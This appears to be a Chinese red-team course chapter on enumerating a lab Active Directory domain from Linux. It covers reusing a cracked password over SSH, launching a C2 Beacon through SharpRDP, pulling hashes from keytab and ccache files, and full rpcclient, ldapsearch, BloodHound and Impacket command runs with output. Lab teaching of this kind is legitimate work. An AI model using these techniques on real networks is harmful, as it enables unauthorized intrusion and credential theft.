Skip to main content

在 Linux 上的信息搜集

在 Linux 上的信息搜集,这里有两层含义,一是指在Linux域主机上对所在域进行侦查,另一层是指使用 Kali Linux 或其他 Linux 攻击主机对目标域进行侦查。

第二个 Beacon

目前,我们只有一个来自 Web02 的 Beacon,以及 Web01 的 root 权限 Shell,还没有其他 PROD 域中用户的明文凭证。回想 chatjs 应用中出现的用户,我们发现他们都是域用户。

image.png

image.png

那么就可能存在密码重用,尤其是我们已经破解出 Alice 的密码为 elizabeth (无法还原出其他用户的密码)。再加上默认情况下,所有域用户都可以访问 SSH,那么我们不妨尝试使用 alice:elizabeth 登陆 Web01 的 SSH 服务。

image.png

我们成功登陆了 Web01。并且,我们通过 Chatjs 的利用获得了 root 权限,我们可以灵活地在 alice 与 root 用户之间切换。

查看 Alice 的描述,我们发现她可能具有对 File01 RDP 的访问。

image.png

我们知道 file01 有个公开可读可写的 SMB 目录 Tools,我们猜测其绝对路径为 C:\Tools (使用 UNC 路径执行程序可能会被阻止)。上传一个 Beacon,然后使用 SharpRDP (https://github.com/0xthirteen/SharpRDP) 在不开启 GUI 的情况下通过 RDP 协议远程执行该 Beacon。

sharprdp.exe computername=[FQDN] command="[程序绝对路径]" username=[域FQDN\用户名] password=[密码]

image.png

幸运的是,我们猜对了绝对路径,并且获得了新的 Beacon,来自 File01,当前用户为 PROD\Alice。这样,我们有了在 PROD 域的第一个 Beacon。




Linux域主机


有时,面向公众的服务器是 Linux 操作系统,例如 Web 服务器。在利用 Web 应用的漏洞后,我们成功地以普通用户或 root 的身份访问该 Linux 服务器。如果作为普通用户身份,甚至不是域用户,而是 www-data 等服务账户,这时候我们既不知道任意域用户的明文凭证,也无法访问所有文件,因此我们最好的策略是想办法提升到 root 权限,但不排除服务器有一些文件权限的不当配置,使得普通用户也能读取甚至更改一些敏感文件。如果作为root用户,我们可以访问所有的文件了,但依旧没有任何用户的明文密码。在之前的章节里说了,我们需要关注用户的 ccache 文件,位于/tmp 目录下,以及用户与主机的 keytab 文件。域主机的keytab文件固定位于/etc/krb5.keytab,而用户的 keytab 文件不固定,取决于用户习惯。

通常来讲,我们可以通过 SOCKS 代理在攻击主机上远程枚举域信息,但有的加入域的主机会自带一些工具,例如 ldapsearch、pbis-open (https://github.com/BeyondTrust/pbis-open),以及 rpcclient 等。

RPCClient

在 Web01 上并没有内置 RPCClient,不过很多时候该应用是内置的,那我们透过 SOCKS 来枚举。使用 rpcclient,我们需要指定明文帐号密码,尽管有的时候空会话是允许的。
rpcclient -U <域 FQDN>/<账户>%<密码> <DC>
用户

我们通过 enumdomusers 命令来查看所有用户

root@ts:~# proxychains rpcclient -U prod.raven-med.local/alice%elizabeth 172.16.1.11
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:445-<><>-OK
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[sql_service] rid:[0x641]
user:[app_security] rid:[0x642]
user:[network_security] rid:[0x643]
user:[alice] rid:[0x645]
user:[harold] rid:[0x646]
user:[backup_operator] rid:[0x647]
user:[john] rid:[0x648]
user:[newman] rid:[0x64b]
user:[jim] rid:[0x64c]
user:[carl] rid:[0x64d]
user:[fusco] rid:[0x64e]

image.png

通过命令 query <RID> 来查看用户详情

rpcclient $> queryuser 0x641
        User Name   :   sql_service
        Full Name   :
        Home Drive  :
        Dir Drive   :
        Profile Path:
        Logon Script:
        Description :
        Workstations:
        Comment     :
        Remote Dial :
        Logon Time               :      Tue, 28 Mar 2023 03:04:56 UTC
        Logoff Time              :      Thu, 01 Jan 1970 00:00:00 UTC
        Kickoff Time             :      Thu, 01 Jan 1970 00:00:00 UTC
        Password last set Time   :      Sat, 28 Jan 2023 19:35:18 UTC
        Password can change Time :      Sun, 29 Jan 2023 19:35:18 UTC
        Password must change Time:      Thu, 14 Sep 30828 02:48:05 UTC
        unknown_2[0..31]...
        user_rid :      0x641
        group_rid:      0x201
        acb_info :      0x00000210
        fields_present: 0x00ffffff
        logon_divs:     168
        bad_password_count:     0x00000000
        logon_count:    0x0000000a
        padding1[0..7]...
        logon_hrs[0..21]...

image.png

群组
对于群组,也是类似的,通过 enumdomgroups 命令枚举群组

image.png

对于更多命令,查看 help 菜单即可。

image.png

LDAPSearch

ldapsearch 也是自带的 LDAP 交互工具之一,并且 Web01 上就有安装。我们同样需要指定明文帐号密码,除非空会话被允许。
ldapsearch -h <DC IP> -p 389 -x -b "<站点>" -D '<域\用户>' -w '<密码>'
用户

我们指定了 objectclass user,并且提取 samaccountname 属性:

web01@web01:~$ ldapsearch -h 172.16.1.11 -p 389 -x -b "dc=prod,dc=raven-med,dc=local" -D 'prod\alice' -w 'elizabeth' '(objectclass=user)' samaccountname
# extended LDIF
#
# LDAPv3
# base <dc=prod,dc=raven-med,dc=local> with scope subtree
# filter: (objectclass=user)
# requesting: samaccountname 
#

# Administrator, Users, prod.raven-med.local
dn: CN=Administrator,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: Administrator

# Guest, Users, prod.raven-med.local
dn: CN=Guest,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: Guest

# DC01, Domain Controllers, prod.raven-med.local
dn: CN=DC01,OU=Domain Controllers,DC=prod,DC=raven-med,DC=local
sAMAccountName: DC01$

# krbtgt, Users, prod.raven-med.local
dn: CN=krbtgt,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: krbtgt

# RAVEN-MED$, Users, prod.raven-med.local
dn: CN=RAVEN-MED$,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: RAVEN-MED$

# FILE01, File Server, Assets, prod.raven-med.local
dn: CN=FILE01,OU=File Server,OU=Assets,DC=prod,DC=raven-med,DC=local
sAMAccountName: FILE01$

# SRV01, SQL Server, Assets, prod.raven-med.local
dn: CN=SRV01,OU=SQL Server,OU=Assets,DC=prod,DC=raven-med,DC=local
sAMAccountName: SRV01$

# WEB01, Web Server, Assets, prod.raven-med.local
dn: CN=WEB01,OU=Web Server,OU=Assets,DC=prod,DC=raven-med,DC=local
sAMAccountName: WEB01$

# sql_service, Users, prod.raven-med.local
dn: CN=sql_service,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: sql_service

# app_security, Users, prod.raven-med.local
dn: CN=app_security,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: app_security

# network_security, Users, prod.raven-med.local
dn: CN=network_security,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: network_security

# alice, Users, prod.raven-med.local
dn: CN=alice,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: alice

# harold, Users, prod.raven-med.local
dn: CN=harold,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: harold

# backup_operator, Users, prod.raven-med.local
dn: CN=backup_operator,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: backup_operator

# john, Users, prod.raven-med.local
dn: CN=john,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: john

# newman, Users, prod.raven-med.local
dn: CN=newman,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: newman

# jim, Users, prod.raven-med.local
dn: CN=jim,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: jim

# carl, Users, prod.raven-med.local
dn: CN=carl,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: carl

# fusco, Users, prod.raven-med.local
dn: CN=fusco,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: fusco

# search reference
ref: ldap://DomainDnsZones.prod.raven-med.local/DC=DomainDnsZones,DC=prod,DC=r
 aven-med,DC=local

# search result
search: 2
result: 0 Success

# numResponses: 21
# numEntries: 19
# numReferences: 1

image.png

主机

我们指定了 objectclasscomputer,并且提取 dnshostname 属性:

web01@web01:~$ ldapsearch -h 172.16.1.11 -p 389 -x -b "dc=prod,dc=raven-med,dc=local" -D 'prod\alice' -w 'elizabeth' '(objectclass=computer)' dnshostname
# extended LDIF
#
# LDAPv3
# base <dc=prod,dc=raven-med,dc=local> with scope subtree
# filter: (objectclass=computer)
# requesting: dnshostname 
#

# DC01, Domain Controllers, prod.raven-med.local
dn: CN=DC01,OU=Domain Controllers,DC=prod,DC=raven-med,DC=local
dNSHostName: dc01.prod.raven-med.local

# FILE01, File Server, Assets, prod.raven-med.local
dn: CN=FILE01,OU=File Server,OU=Assets,DC=prod,DC=raven-med,DC=local
dNSHostName: file01.prod.raven-med.local

# SRV01, SQL Server, Assets, prod.raven-med.local
dn: CN=SRV01,OU=SQL Server,OU=Assets,DC=prod,DC=raven-med,DC=local
dNSHostName: srv01.prod.raven-med.local

# WEB01, Web Server, Assets, prod.raven-med.local
dn: CN=WEB01,OU=Web Server,OU=Assets,DC=prod,DC=raven-med,DC=local
dNSHostName: web01.prod.raven-med.local

# search reference
ref: ldap://DomainDnsZones.prod.raven-med.local/DC=DomainDnsZones,DC=prod,DC=r
 aven-med,DC=local

# search result
search: 2
result: 0 Success

# numResponses: 6
# numEntries: 4
# numReferences: 1

image.png


Linux 攻击主机
接下来,我们讨论在 Linux 攻击主机上通过隧道或者代理对目标进行枚举,对于认证,往往也更加灵活,我们可以使用明文凭证之外的认证方式,例如票据、keytab、哈希等。
我们之前发现了 john 的 home 目录下存放着 keytab,我们可以使用 KeyTabExtract (https://github.com/sosdave/KeyTabExtract) 脚本从 keytab 文件中提取出 NTLM 哈希或者 AES 密钥值,而该 keytab 有着 johnNTLM 哈希。

image.png

以及 /etc 目录下 Web01$ 的哈希

image.png

在 /tmp 目录下,还有着 Alice (该小节刚开始的时候登录的) 与 Administrator 的 ccache。

image.png


BloodHound Python

Python 版 BloodHound 可以在 Linux 主机上运行,需要 impacket 的依赖。我们可以通过 pip3 install bloodhound 安装,之后运行 bloodhound-python 运行。我们这里使用的是 Alice 的明文帐号密码认证的,我们也可以提供 john 或者 Web01$ 的 NTLM 哈希甚至 ccache (原理在后续章节深入)。
proxychains bloodhound-python -c All -u 'alice@prod.raven-med.local' -p elizabeth  -d prod.raven-med.local -ns 172.16.1.11 --dns-tcp --dns-timeout 10
-ns 选项指定了 DC01DNS 服务器--dns-tcp 强制使用 DNS TCP,因为 UDP 不被 SOCKS 支持。设置 --dns-timeout10,默认值会因为短时间的通信尝试而直接判定为超时。
root@ts:/opt/framework# proxychains bloodhound-python -c All -u 'alice@prod.raven-med.local' -p elizabeth  -d prod.raven-med.local -ns 172.16.1.11 --dns-tcp --dns-timeout 10
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:53-<><>-OK
INFO: Found AD domain: prod.raven-med.local
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:53-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:53-<><>-OK
WARNING: Could not find a global catalog server, assuming the primary DC has this role
If this gives errors, either specify a hostname with -gc or disable gc resolution with --disable-autogc
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:53-<><>-OK
INFO: Getting TGT for user
|DNS-request| prod.raven-med.local 
|S-chain|-<>-127.0.0.1:1080-<><>-4.2.2.2:53-<><>-OK
|DNS-response|: prod.raven-med.local does not exist
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (prod.raven-med.local:88)] [Errno 1] Unknown error
INFO: Connecting to LDAP server: dc01.prod.raven-med.local
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:53-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:389-<><>-OK
INFO: Found 1 domains
INFO: Found 2 domains in the forest
INFO: Found 4 computers
INFO: Connecting to LDAP server: dc01.prod.raven-med.local
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:389-<><>-OK
INFO: Connecting to GC LDAP server: dc01.prod.raven-med.local
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:3268-<><>-OK
INFO: Found 15 users
INFO: Found 48 groups
INFO: Found 5 gpos
INFO: Found 6 ous
INFO: Found 19 containers
INFO: Found 1 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: web01.prod.raven-med.local
............
INFO: Done in 01M 56S

image.png

使用之后,会输出 json 文件,我们同样可以上传给 BloodHound。

Impacket

Impacket (https://github.com/fortra/impacket) 是一套可以对 AD 进行网络协议交互的工具,可用于枚举与利用,十分强劲。目前,我们只专注于枚举。

例如,我们可以使用 GetADUser.py 枚举域内用户

root@ts:/opt/framework/impacket/examples# proxychains python3 GetADUsers.py  -all prod.raven-med.local/alice:elizabeth  -dc-ip 172.16.1.11
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:389-<><>-OK
[*] Querying 172.16.1.11 for information about domain.
Name                  Email                           PasswordLastSet      LastLogon           
--------------------  ------------------------------  -------------------  -------------------
Administrator                                         2023-01-20 18:38:16.572334  2023-03-30 19:53:43.462751 
Guest                                                 <never>              <never>             
krbtgt                                                2023-01-21 03:14:17.129622  <never>             
                                                      2023-03-28 02:21:44.373836  <never>             
sql_service                                           2023-01-28 19:35:17.958491  2023-03-28 03:04:56.416162 
app_security                                          2023-01-28 20:00:19.880249  <never>             
network_security                                      2023-01-28 20:00:30.270846  <never>             
alice                                                 2023-01-28 20:03:12.536442  2023-03-31 03:58:54.462135 
harold                                                2023-01-28 20:33:54.612025  <never>             
backup_operator                                       2023-01-28 21:53:00.350035  <never>             
john                                                  2023-01-29 01:02:53.942678  2023-03-28 02:06:57.796057 
newman                                                2023-02-14 04:21:09.365594  <never>             
jim                                                   2023-02-14 04:21:23.271692  <never>             
carl                                                  2023-02-14 04:21:51.818645  <never>             
fusco                                                 2023-02-14 04:22:23.256115  2023-03-30 19:58:17.243954 

image.png

使用 GetUserSPNs 来获取所有设置了 SPN 的用户

root@ts:/opt/framework/impacket/examples# proxychains python3 GetUserSPNs.py prod.raven-med.local/alice:elizabeth  -dc-ip 172.16.1.11
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:389-<><>-OK
ServicePrincipalName                       Name         MemberOf  PasswordLastSet             LastLogon                   Delegation 
-----------------------------------------  -----------  --------  --------------------------  --------------------------  ----------
MSSQLSvc/srv01.prod.raven-med.local:SQL01  sql_service            2023-01-28 19:35:17.958491  2023-03-28 03:04:56.416162             
MSSQLSvc/srv01.prod.raven-med.local:1433   sql_service            2023-01-28 19:35:17.958491  2023-03-28 03:04:56.416162  

image.png


CrackMapExec

CrackMapExec (https://github.com/Porchetta-Industries/CrackMapExec) 如今发展成了一款类似于 Impacket 的多功能 AD 枚举与利用瑞士军刀。请学员们自行下载、安装与探索。